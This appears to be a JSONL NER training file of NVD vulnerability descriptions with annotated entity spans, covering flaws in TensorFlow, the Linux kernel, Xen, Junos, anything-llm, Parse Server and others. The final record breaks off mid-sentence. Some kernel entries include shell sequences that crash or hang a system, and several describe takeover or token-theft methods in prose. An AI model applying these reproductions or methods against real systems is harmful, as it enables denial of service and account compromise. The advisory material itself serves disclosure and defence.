{"text": "TensorFlow is an end-to-end open source platform for machine learning. The optimized implementation of the `TransposeConv` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L5221-L5222). An attacker can craft a model such that `stride_{h,w}` values are 0. Code calling this function must validate these arguments. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/optimized/optimized_ops.h#L5221-L5222": [[183, 340]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29588"}}
{"text": "Versions of the package simple-git before 3.16.0 are vulnerable to Remote Code Execution (RCE) via the clone(), pull(), push() and listRemote() methods, due to improper input sanitization.\rThis vulnerability exists due to an incomplete fix of [CVE-2022-25912](https://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-3112221).", "spans": {"CVE_ID: CVE-2022-25912": [[244, 258]], "URL: https://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-3112221": [[260, 315]], "VULNERABILITY: Remote Code Execution": [[67, 88]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-25860"}}
{"text": "Heap-based buffer overflow vulnerability in Mitsubishi Electric FA Engineering Software (CPU Module Logging Configuration Tool versions 1.112R and prior, CW Configurator versions 1.011M and prior, Data Transfer versions 3.44W and prior, EZSocket versions 5.4 and prior, FR Configurator all versions, FR Configurator SW3 all versions, FR Configurator2 versions 1.24A and prior, GT Designer3 Version1(GOT1000) versions 1.250L and prior, GT Designer3 Version1(GOT2000) versions 1.250L and prior, GT SoftGOT1000 Version3 versions 3.245F and prior, GT SoftGOT2000 Version1 versions 1.250L and prior, GX Configurator-DP versions 7.14Q and prior, GX Configurator-QP all versions, GX Developer versions 8.506C and prior, GX Explorer all versions, GX IEC Developer all versions, GX LogViewer versions 1.115U and prior, GX RemoteService-I all versions, GX Works2 versions 1.597X and prior, GX Works3 versions 1.070Y and prior, iQ Monozukuri ANDON (Data Transfer) versions 1.003D and prior, iQ Monozukuri Process Remote Monitoring (Data Transfer) versions 1.002C and prior, M_CommDTM-HART all versions, M_CommDTM-IO-Link versions 1.03D and prior, MELFA-Works versions 4.4 and prior, MELSEC WinCPU Setting Utility all versions, MELSOFT EM Software Development Kit (EM Configurator) versions 1.015R and prior, MELSOFT Navigator versions 2.74C and prior, MH11 SettingTool Version2 versions 2.004E and prior, MI Configurator versions 1.004E and prior, MT Works2 versions 1.167Z and prior, MX Component versions 5.001B and prior, Network Interface Board CC IE Control utility versions 1.29F and prior, Network Interface Board CC IE Field Utility versions 1.16S and prior, Network Interface Board CC-Link Ver.2 Utility versions 1.23Z and prior, Network Interface Board MNETH utility versions 34L and prior, PX Developer versions 1.53F and prior, RT ToolBox2 versions 3.73B and prior, RT ToolBox3 versions 1.82L and prior, Setting/monitoring tools for the C Controller module (SW4PVC-CCPU) versions 4.12N and prior, and SLMP Data Collector versions 1.04E and prior) allows a remote unauthenticated attacker to cause a DoS condition on the software products, and possibly to execute a malicious code on the personal computer running the software products although it has not been reproduced, by spoofing MELSEC, GOT or FREQROL and returning crafted reply packets.", "spans": {"VULNERABILITY: Heap-based buffer overflow": [[0, 26]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-20587"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.FusedBatchNorm`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/828f346274841fa7505f7020e88ca36c22e557ab/tensorflow/core/kernels/fused_batch_norm_op.cc#L295-L297) performs a division based on the last dimension of the `x` tensor. Since this is controlled by the user, an attacker can trigger a denial of service. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/828f346274841fa7505f7020e88ca36c22e557ab/tensorflow/core/kernels/fused_batch_norm_op.cc#L295-L297": [[204, 347]], "VULNERABILITY: denial of service": [[95, 112], [480, 497]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29555"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.12 and 8.6.38, an unauthenticated attacker can take over any user account that was created with an authentication provider that does not validate the format of the user identifier (e.g. anonymous authentication). By sending a crafted login request, the attacker can cause the server to perform a pattern-matching query instead of an exact-match lookup, allowing the attacker to match an existing user and obtain a valid session token for that user's account. Both MongoDB and PostgreSQL database backends are affected. Any Parse Server deployment that allows anonymous authentication (enabled by default) is vulnerable. This vulnerability is fixed in 9.6.0-alpha.12 and 8.6.38.", "spans": {"FILEPATH: Node.js": [[95, 102]], "SYSTEM: PostgreSQL": [[601, 611]], "SYSTEM: MongoDB": [[589, 596]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32248"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: u_audio: don't let userspace block driver unbind\n\nIn the unbind callback for f_uac1 and f_uac2, a call to snd_card_free()\nvia g_audio_cleanup() will disconnect the card and then wait for all\nresources to be released, which happens when the refcount falls to zero.\nSince userspace can keep the refcount incremented by not closing the\nrelevant file descriptor, the call to unbind may block indefinitely.\nThis can cause a deadlock during reboot, as evidenced by the following\nblocked task observed on my machine:\n\n  task:reboot  state:D stack:0   pid:2827  ppid:569    flags:0x0000000c\n  Call trace:\n   __switch_to+0xc8/0x140\n   __schedule+0x2f0/0x7c0\n   schedule+0x60/0xd0\n   schedule_timeout+0x180/0x1d4\n   wait_for_completion+0x78/0x180\n   snd_card_free+0x90/0xa0\n   g_audio_cleanup+0x2c/0x64\n   afunc_unbind+0x28/0x60\n   ...\n   kernel_restart+0x4c/0xac\n   __do_sys_reboot+0xcc/0x1ec\n   __arm64_sys_reboot+0x28/0x30\n   invoke_syscall+0x4c/0x110\n   ...\n\nThe issue can also be observed by opening the card with arecord and\nthen stopping the process through the shell before unbinding:\n\n  # arecord -D hw:UAC2Gadget -f S32_LE -c 2 -r 48000 /dev/null\n  Recording WAVE '/dev/null' : Signed 32 bit Little Endian, Rate 48000 Hz, Stereo\n  ^Z[1]+  Stopped                    arecord -D hw:UAC2Gadget -f S32_LE -c 2 -r 48000 /dev/null\n  # echo gadget.0 > /sys/bus/gadget/drivers/configfs-gadget/unbind\n  (observe that the unbind command never finishes)\n\nFix the problem by using snd_card_free_when_closed() instead, which will\nstill disconnect the card as desired, but defer the task of freeing the\nresources to the core once userspace closes its file descriptor.", "spans": {"FILEPATH: /dev/null": [[1219, 1228], [1247, 1256], [1397, 1406]], "FILEPATH: /sys/bus/gadget/drivers/configfs-gadget/unbind": [[1427, 1473]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53045"}}
{"text": "Linux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest which can be triggered by the backend. CVE-2022-23042", "spans": {"CVE_ID: CVE-2022-23036": [[1068, 1082]], "CVE_ID: CVE-2022-23037": [[1093, 1107]], "CVE_ID: CVE-2022-23038": [[1119, 1133]], "CVE_ID: CVE-2022-23039": [[1144, 1158]], "CVE_ID: CVE-2022-23040": [[1167, 1181]], "CVE_ID: CVE-2022-23041": [[1581, 1595]], "CVE_ID: CVE-2022-23042": [[1789, 1803]], "SYSTEM: Linux": [[0, 5], [197, 202]], "VULNERABILITY: denial of service": [[423, 440]], "VULNERABILITY: Denial of Service": [[1703, 1720]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-23042"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions the implementation for `tf.raw_ops.BoostedTreesCreateEnsemble` can result in a use after free error if an attacker supplies specially crafted arguments. The [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/boosted_trees/resource_ops.cc#L55) uses a reference counted resource and decrements the refcount if the initialization fails, as it should. However, when the code was written, the resource was represented as a naked pointer but later refactoring has changed it to be a smart pointer. Thus, when the pointer leaves the scope, a subsequent `free`-ing of the resource occurs, but this fails to take into account that the refcount has already reached 0, thus the resource has been already freed. During this double-free process, members of the resource object are accessed for cleanup but they are invalid as the entire resource has been freed. We have patched the issue in GitHub commit 5ecec9c6fbdbc6be03295685190a45e7eee726ab. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/boosted_trees/resource_ops.cc#L55": [[266, 410]], "HASH: 5ecec9c6fbdbc6be03295685190a45e7eee726ab": [[1061, 1101]], "ORGANIZATION: GitHub": [[1047, 1053]], "VULNERABILITY: use after free": [[171, 185]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37652"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to do sanity check on sit_bitmap_size\n\nw/ below testcase, resize will generate a corrupted image which\ncontains inconsistent metadata, so when mounting such image, it\nwill trigger kernel panic:\n\ntouch img\ntruncate -s $((512*1024*1024*1024)) img\nmkfs.f2fs -f img $((256*1024*1024))\nresize.f2fs -s -i img -t $((1024*1024*1024))\nmount img /mnt/f2fs\n\n------------[ cut here ]------------\nkernel BUG at fs/f2fs/segment.h:863!\nOops: invalid opcode: 0000 [#1] SMP PTI\nCPU: 11 UID: 0 PID: 3922 Comm: mount Not tainted 6.15.0-rc1+ #191 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\nRIP: 0010:f2fs_ra_meta_pages+0x47c/0x490\n\nCall Trace:\n f2fs_build_segment_manager+0x11c3/0x2600\n f2fs_fill_super+0xe97/0x2840\n mount_bdev+0xf4/0x140\n legacy_get_tree+0x2b/0x50\n vfs_get_tree+0x29/0xd0\n path_mount+0x487/0xaf0\n __x64_sys_mount+0x116/0x150\n do_syscall_64+0x82/0x190\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\nRIP: 0033:0x7fdbfde1bcfe\n\nThe reaseon is:\n\nsit_i->bitmap_size is 192, so size of sit bitmap is 192*8=1536, at maximum\nthere are 1536 sit blocks, however MAIN_SEGS is 261893, so that sit_blk_cnt\nis 4762, build_sit_entries() -> current_sit_addr() tries to access\nout-of-boundary in sit_bitmap at offset from [1536, 4762), once sit_bitmap\nand sit_bitmap_mirror is not the same, it will trigger f2fs_bug_on().\n\nLet's add sanity check in f2fs_sanity_check_ckpt() to avoid panic.", "spans": {"FILEPATH: /mnt/f2fs": [[415, 424]], "FILEPATH: /f2fs/segment.h": [[479, 494]], "FILEPATH: /01/2014": [[710, 718]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[640, 644]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38218"}}
{"text": "Github's CodeQL action is provided to run CodeQL-based code scanning on non-GitHub CI/CD systems and requires a GitHub access token to connect to a GitHub repository. The runner and its documentation previously suggested passing the GitHub token as a command-line parameter to the process instead of reading it from a file, standard input, or an environment variable. This approach made the token visible to other processes on the same machine, for example in the output of the `ps` command. If the CI system publicly exposes the output of `ps`, for example by logging the output, then the GitHub access token can be exposed beyond the scope intended. Users of the CodeQL runner on 3rd-party systems, who are passing a GitHub token via the `--github-auth` flag, are affected. This applies to both GitHub.com and GitHub Enterprise users. Users of the CodeQL Action on GitHub Actions are not affected. The `--github-auth` flag is now considered insecure and deprecated. The undocumented `--external-repository-token` flag has been removed. To securely provide a GitHub access token to the CodeQL runner, users should **do one of the following instead**: Use the `--github-auth-stdin` flag and pass the token on the command line via standard input OR set the `GITHUB_TOKEN` environment variable to contain the token, then call the command without passing in the token. The old flag remains present for backwards compatibility with existing workflows. If the user tries to specify an access token using the `--github-auth` flag, there is a deprecation warning printed to the terminal that directs the user to one of the above options. All CodeQL runner releases codeql-bundle-20210304 onwards contain the patches. We recommend updating to a recent version of the CodeQL runner, storing a token in your CI system's secret storage mechanism, and passing the token to the CodeQL runner using `--github-auth-stdin` or the `GITHUB_TOKEN` environment variable. If still using the old flag, ensure that process output, such as from `ps`, is not persisted in CI logs.", "spans": {"DOMAIN: GitHub.com": [[797, 807]], "ORGANIZATION: GitHub": [[76, 82], [112, 118], [148, 154], [233, 239], [590, 596], [719, 725], [812, 818], [867, 873], [1060, 1066]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32638"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe/guc: Check GuC running state before deregistering exec queue\n\nIn normal operation, a registered exec queue is disabled and\nderegistered through the GuC, and freed only after the GuC confirms\ncompletion. However, if the driver is forced to unbind while the exec\nqueue is still running, the user may call exec_destroy() after the GuC\nhas already been stopped and CT communication disabled.\n\nIn this case, the driver cannot receive a response from the GuC,\npreventing proper cleanup of exec queue resources. Fix this by directly\nreleasing the resources when GuC is not running.\n\nHere is the failure dmesg log:\n\"\n[  468.089581] ---[ end trace 0000000000000000 ]---\n[  468.089608] pci 0000:03:00.0: [drm] *ERROR* GT0: GUC ID manager unclean (1/65535)\n[  468.090558] pci 0000:03:00.0: [drm] GT0:     total 65535\n[  468.090562] pci 0000:03:00.0: [drm] GT0:     used 1\n[  468.090564] pci 0000:03:00.0: [drm] GT0:     range 1..1 (1)\n[  468.092716] ------------[ cut here ]------------\n[  468.092719] WARNING: CPU: 14 PID: 4775 at drivers/gpu/drm/xe/xe_ttm_vram_mgr.c:298 ttm_vram_mgr_fini+0xf8/0x130 [xe]\n\"\n\nv2: use xe_uc_fw_is_running() instead of xe_guc_ct_enabled().\n    As CT may go down and come back during VF migration.\n\n(cherry picked from commit 9b42321a02c50a12b2beb6ae9469606257fbecea)", "spans": {"HASH: 9b42321a02c50a12b2beb6ae9469606257fbecea": [[1322, 1362]], "FILEPATH: /xe/guc": [[72, 79]], "FILEPATH: /gpu/drm/xe/xe_ttm_vram_mgr.c": [[1104, 1133]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40166"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: Fix potential data race in rxrpc_wait_to_be_connected()\n\nInside the loop in rxrpc_wait_to_be_connected() it checks call->error to\nsee if it should exit the loop without first checking the call state.  This\nis probably safe as if call->error is set, the call is dead anyway, but we\nshould probably wait for the call state to have been set to completion\nfirst, lest it cause surprise on the way out.\n\nFix this by only accessing call->error if the call is complete.  We don't\nactually need to access the error inside the loop as we'll do that after.\n\nThis caused the following report:\n\n    BUG: KCSAN: data-race in rxrpc_send_data / rxrpc_set_call_completion\n\n    write to 0xffff888159cf3c50 of 4 bytes by task 25673 on cpu 1:\n     rxrpc_set_call_completion+0x71/0x1c0 net/rxrpc/call_state.c:22\n     rxrpc_send_data_packet+0xba9/0x1650 net/rxrpc/output.c:479\n     rxrpc_transmit_one+0x1e/0x130 net/rxrpc/output.c:714\n     rxrpc_decant_prepared_tx net/rxrpc/call_event.c:326 [inline]\n     rxrpc_transmit_some_data+0x496/0x600 net/rxrpc/call_event.c:350\n     rxrpc_input_call_event+0x564/0x1220 net/rxrpc/call_event.c:464\n     rxrpc_io_thread+0x307/0x1d80 net/rxrpc/io_thread.c:461\n     kthread+0x1ac/0x1e0 kernel/kthread.c:376\n     ret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:308\n\n    read to 0xffff888159cf3c50 of 4 bytes by task 25672 on cpu 0:\n     rxrpc_send_data+0x29e/0x1950 net/rxrpc/sendmsg.c:296\n     rxrpc_do_sendmsg+0xb7a/0xc20 net/rxrpc/sendmsg.c:726\n     rxrpc_sendmsg+0x413/0x520 net/rxrpc/af_rxrpc.c:565\n     sock_sendmsg_nosec net/socket.c:724 [inline]\n     sock_sendmsg net/socket.c:747 [inline]\n     ____sys_sendmsg+0x375/0x4c0 net/socket.c:2501\n     ___sys_sendmsg net/socket.c:2555 [inline]\n     __sys_sendmmsg+0x263/0x500 net/socket.c:2641\n     __do_sys_sendmmsg net/socket.c:2670 [inline]\n     __se_sys_sendmmsg net/socket.c:2667 [inline]\n     __x64_sys_sendmmsg+0x57/0x60 net/socket.c:2667\n     do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n     do_syscall_64+0x41/0xc0 arch/x86/entry/common.c:80\n     entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\n    value changed: 0x00000000 -> 0xffffffea", "spans": {"FILEPATH: /rxrpc/call_state.c": [[845, 864]], "FILEPATH: /rxrpc/output.c": [[912, 927], [970, 985]], "FILEPATH: /rxrpc/call_event.c": [[1023, 1042], [1101, 1120], [1169, 1188]], "FILEPATH: /rxrpc/io_thread.c": [[1230, 1248]], "FILEPATH: /x86/entry/entry_64.S": [[1332, 1353]], "FILEPATH: /rxrpc/sendmsg.c": [[1462, 1478], [1520, 1536]], "FILEPATH: /rxrpc/af_rxrpc.c": [[1575, 1592]], "FILEPATH: /x86/entry/common.c": [[2015, 2034], [2080, 2099]], "FILEPATH: kthread.c": [[1285, 1294]], "FILEPATH: socket.c": [[1625, 1633], [1669, 1677], [1728, 1736], [1766, 1774], [1825, 1833], [1866, 1874], [1916, 1924], [1977, 1985]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53345"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: atm: cxacru: fix a flaw in existing endpoint checks\n\nSyzbot once again identified a flaw in usb endpoint checking, see [1].\nThis time the issue stems from a commit authored by me (2eabb655a968\n(\"usb: atm: cxacru: fix endpoint checking in cxacru_bind()\")).\n\nWhile using usb_find_common_endpoints() may usually be enough to\ndiscard devices with wrong endpoints, in this case one needs more\nthan just finding and identifying the sufficient number of endpoints\nof correct types - one needs to check the endpoint's address as well.\n\nSince cxacru_bind() fills URBs with CXACRU_EP_CMD address in mind,\nswitch the endpoint verification approach to usb_check_XXX_endpoints()\ninstead to fix incomplete ep testing.\n\n[1] Syzbot report:\nusb 5-1: BOGUS urb xfer, pipe 3 != type 1\nWARNING: CPU: 0 PID: 1378 at drivers/usb/core/urb.c:504 usb_submit_urb+0xc4e/0x18c0 drivers/usb/core/urb.c:503\n...\nRIP: 0010:usb_submit_urb+0xc4e/0x18c0 drivers/usb/core/urb.c:503\n...\nCall Trace:\n <TASK>\n cxacru_cm+0x3c8/0xe50 drivers/usb/atm/cxacru.c:649\n cxacru_card_status drivers/usb/atm/cxacru.c:760 [inline]\n cxacru_bind+0xcf9/0x1150 drivers/usb/atm/cxacru.c:1223\n usbatm_usb_probe+0x314/0x1d30 drivers/usb/atm/usbatm.c:1058\n cxacru_usb_probe+0x184/0x220 drivers/usb/atm/cxacru.c:1377\n usb_probe_interface+0x641/0xbb0 drivers/usb/core/driver.c:396\n really_probe+0x2b9/0xad0 drivers/base/dd.c:658\n __driver_probe_device+0x1a2/0x390 drivers/base/dd.c:800\n driver_probe_device+0x50/0x430 drivers/base/dd.c:830\n...", "spans": {"FILEPATH: /usb/core/urb.c": [[876, 891], [931, 946], [1000, 1015]], "FILEPATH: /usb/atm/cxacru.c": [[1074, 1091], [1123, 1140], [1187, 1204], [1308, 1325]], "FILEPATH: /usb/atm/usbatm.c": [[1248, 1265]], "FILEPATH: /usb/core/driver.c": [[1371, 1389]], "FILEPATH: /base/dd.c": [[1427, 1437], [1484, 1494], [1538, 1548]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21916"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nlib/iov_iter: fix to increase non slab folio refcount\n\nWhen testing EROFS file-backed mount over v9fs on qemu, I encountered a\nfolio UAF issue.  The page sanity check reports the following call trace. \nThe root cause is that pages in bvec are coalesced across a folio bounary.\nThe refcount of all non-slab folios should be increased to ensure\np9_releas_pages can put them correctly.\n\nBUG: Bad page state in process md5sum  pfn:18300\npage: refcount:0 mapcount:0 mapping:00000000d5ad8e4e index:0x60 pfn:0x18300\nhead: order:0 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0\naops:z_erofs_aops ino:30b0f dentry name(?):\"GoogleExtServicesCn.apk\"\nflags: 0x100000000000041(locked|head|node=0|zone=1)\nraw: 0100000000000041 dead000000000100 dead000000000122 ffff888014b13bd0\nraw: 0000000000000060 0000000000000020 00000000ffffffff 0000000000000000\nhead: 0100000000000041 dead000000000100 dead000000000122 ffff888014b13bd0\nhead: 0000000000000060 0000000000000020 00000000ffffffff 0000000000000000\nhead: 0100000000000000 0000000000000000 ffffffffffffffff 0000000000000000\nhead: 0000000000000010 0000000000000000 00000000ffffffff 0000000000000000\npage dumped because: PAGE_FLAGS_CHECK_AT_FREE flag(s) set\nCall Trace:\n dump_stack_lvl+0x53/0x70\n bad_page+0xd4/0x220\n __free_pages_ok+0x76d/0xf30\n __folio_put+0x230/0x320\n p9_release_pages+0x179/0x1f0\n p9_virtio_zc_request+0xa2a/0x1230\n p9_client_zc_rpc.constprop.0+0x247/0x700\n p9_client_read_once+0x34d/0x810\n p9_client_read+0xf3/0x150\n v9fs_issue_read+0x111/0x360\n netfs_unbuffered_read_iter_locked+0x927/0x1390\n netfs_unbuffered_read_iter+0xa2/0xe0\n vfs_iocb_iter_read+0x2c7/0x460\n erofs_fileio_rq_submit+0x46b/0x5b0\n z_erofs_runqueue+0x1203/0x21e0\n z_erofs_readahead+0x579/0x8b0\n read_pages+0x19f/0xa70\n page_cache_ra_order+0x4ad/0xb80\n filemap_readahead.isra.0+0xe7/0x150\n filemap_get_pages+0x7aa/0x1890\n filemap_read+0x320/0xc80\n vfs_read+0x6c6/0xa30\n ksys_read+0xf9/0x1c0\n do_syscall_64+0x9e/0x1a0\n entry_SYSCALL_64_after_hwframe+0x71/0x79", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37779"}}
{"text": "A stored Cross-Site Scripting (XSS) vulnerability exists in the mintplex-labs/anything-llm application, affecting versions up to and including the latest before 1.0.0. The vulnerability arises from the application's failure to properly sanitize and validate user-supplied URLs before embedding them into the application UI as external links with custom icons. Specifically, the application does not prevent the inclusion of 'javascript:' protocol payloads in URLs, which can be exploited by a user with manager role to execute arbitrary JavaScript code in the context of another user's session. This flaw can be leveraged to steal the admin's authorization token by crafting malicious URLs that, when clicked by the admin, send the token to an attacker-controlled server. The attacker can then use this token to perform unauthorized actions, escalate privileges to admin, or directly take over the admin account. The vulnerability is triggered when the malicious link is opened in a new tab using either the CTRL + left mouse button click or the mouse scroll wheel click, or in some non-updated versions of modern browsers, by directly clicking on the link.", "spans": {"VULNERABILITY: Cross-Site Scripting": [[9, 29]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-3110"}}
{"text": "Important: Authentication Bypass CVE-2023-41081\n\nThe mod_jk component of Apache Tomcat Connectors in some circumstances, such as when a configuration included \"JkOptions +ForwardDirectories\" but the configuration did not       provide explicit mounts for all possible proxied requests, mod_jk would       use an implicit mapping and map the request to the first defined worker. Such an implicit mapping could result in the unintended exposure of the status worker and/or bypass security constraints configured in httpd. As of JK 1.2.49, the implicit mapping functionality has been removed and all mappings must now be via explicit configuration. Only mod_jk is affected by this issue. The ISAPI redirector is not affected.\n\nThis issue affects Apache Tomcat Connectors (mod_jk only): from 1.2.0 through 1.2.48.\n\nUsers are recommended to upgrade to version 1.2.49, which fixes the issue.\n\nHistory\n2023-09-13 Original advisory\n\n2023-09-28 Updated summary", "spans": {"CVE_ID: CVE-2023-41081": [[33, 47]], "SYSTEM: Apache Tomcat": [[73, 86], [743, 756]], "VULNERABILITY: Authentication Bypass": [[11, 32]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-41081"}}
{"text": "In a Point-to-Multipoint (P2MP) Label Switched Path (LSP) scenario, an uncontrolled resource consumption vulnerability in the Routing Protocol Daemon (RPD) in Juniper Networks Junos OS allows a specific SNMP request to trigger an infinite loop causing a high CPU usage Denial of Service (DoS) condition. This issue affects both SNMP over IPv4 and IPv6. This issue affects: Juniper Networks Junos OS: 12.3X48 versions prior to 12.3X48-D90; 15.1 versions prior to 15.1R7-S6; 15.1X49 versions prior to 15.1X49-D200; 15.1X53 versions prior to 15.1X53-D238, 15.1X53-D592; 16.1 versions prior to 16.1R7-S5; 16.2 versions prior to 16.2R2-S11; 17.1 versions prior to 17.1R3-S1; 17.2 versions prior to 17.2R3-S2; 17.3 versions prior to 17.3R3-S7; 17.4 versions prior to 17.4R2-S4, 17.4R3; 18.1 versions prior to 18.1R3-S5; 18.2 versions prior to 18.2R3; 18.2X75 versions prior to 18.2X75-D50; 18.3 versions prior to 18.3R2; 18.4 versions prior to 18.4R2; 19.1 versions prior to 19.1R2.", "spans": {"ORGANIZATION: Juniper": [[159, 166], [373, 380]], "VULNERABILITY: uncontrolled resource consumption": [[71, 104]], "VULNERABILITY: Denial of Service": [[269, 286]], "VULNERABILITY: infinite loop": [[230, 243]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1600"}}
{"text": "Open Enclave is a hardware-agnostic open source library for developing applications that utilize Hardware-based Trusted Execution Environments, also known as Enclaves. There are two issues that are mitigated in version 0.19.3. First, Open Enclave SDK does not properly sanitize the `MXCSR` register on enclave entry. This makes applications vulnerable to MXCSR Configuration Dependent Timing (MCDT) attacks, where incorrect `MXCSR` values can impact instruction retirement by at most one cycle, depending on the (secret) data operand value. Please find more details in the guidance from Intel in the references. Second, Open Enclave SDK does not sanitize x86's alignment check flag `RFLAGS.AC` on enclave entry. This opens up the possibility for a side-channel attacker to be notified for every unaligned memory access performed by the enclave. The issue has been addressed in version 0.19.3 and the current master branch. Users will need to recompile their applications against the patched libraries to be protected from this vulnerability. There are no known workarounds for this vulnerability.", "spans": {"ORGANIZATION: Intel": [[587, 592]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-37479"}}
{"text": "A Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in the Routing Protocol Daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated attacker with an established BGP session to cause a Denial of Service (DoS). In a BGP multipath scenario, when one of the contributing routes is flapping often and rapidly, rpd may crash. As this crash depends on whether a route is a contributing route, and on the internal timing of the events triggered by the flap this vulnerability is outside the direct control of a potential attacker. This issue affects: Juniper Networks Junos OS 19.2 versions prior to 19.2R3-S6; 20.2 versions prior to 20.2R3-S4; 20.3 versions prior to 20.3R3-S3; 20.4 versions prior to 20.4R3-S4; 21.1 versions prior to 21.1R3; 21.2 versions prior to 21.2R2; 21.3 versions prior to 21.3R2. Juniper Networks Junos OS Evolved All versions prior to 20.4R3-S4-EVO; 21.1-EVO version 21.1R1-EVO and later versions; 21.2-EVO versions prior to 21.2R2-EVO; 21.3-EVO versions prior to 21.3R2-EVO. This issue does not affect: Juniper Networks Junos OS versions 19.2 versions prior to 19.2R2, 19.3R1 and above prior to 20.2R1. Juniper Networks Junos OS Evolved versions prior to 20.2R1-EVO.", "spans": {"ORGANIZATION: Juniper": [[106, 113], [590, 597], [845, 852], [1070, 1077], [1170, 1177]], "VULNERABILITY: Time-of-check Time-of-use": [[2, 27]], "VULNERABILITY: Denial of Service": [[231, 248]], "VULNERABILITY: Race Condition": [[37, 51]], "VULNERABILITY: TOCTOU": [[29, 35]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22225"}}
{"text": "Fides is an open-source privacy engineering platform for managing the fulfillment of data privacy requests in a runtime environment, and the enforcement of privacy regulations in code. The Fides webserver API allows custom integrations to be uploaded as a ZIP file. This ZIP file must contain YAML files, but Fides can be configured to also accept the inclusion of custom Python code in it. The custom code is executed in a restricted, sandboxed environment, but the sandbox can be bypassed to execute any arbitrary code. The vulnerability allows the execution of arbitrary code on the target system within the context of the webserver python process owner on the webserver container, which by default is `root`, and leverage that access to attack underlying infrastructure and integrated systems. This vulnerability affects Fides versions `2.11.0` through `2.19.0`. Exploitation is limited to API clients with the `CONNECTOR_TEMPLATE_REGISTER` authorization scope. In the Fides Admin UI this scope is restricted to highly privileged users, specifically root users and users with the owner role.  Exploitation is only possible if the security configuration 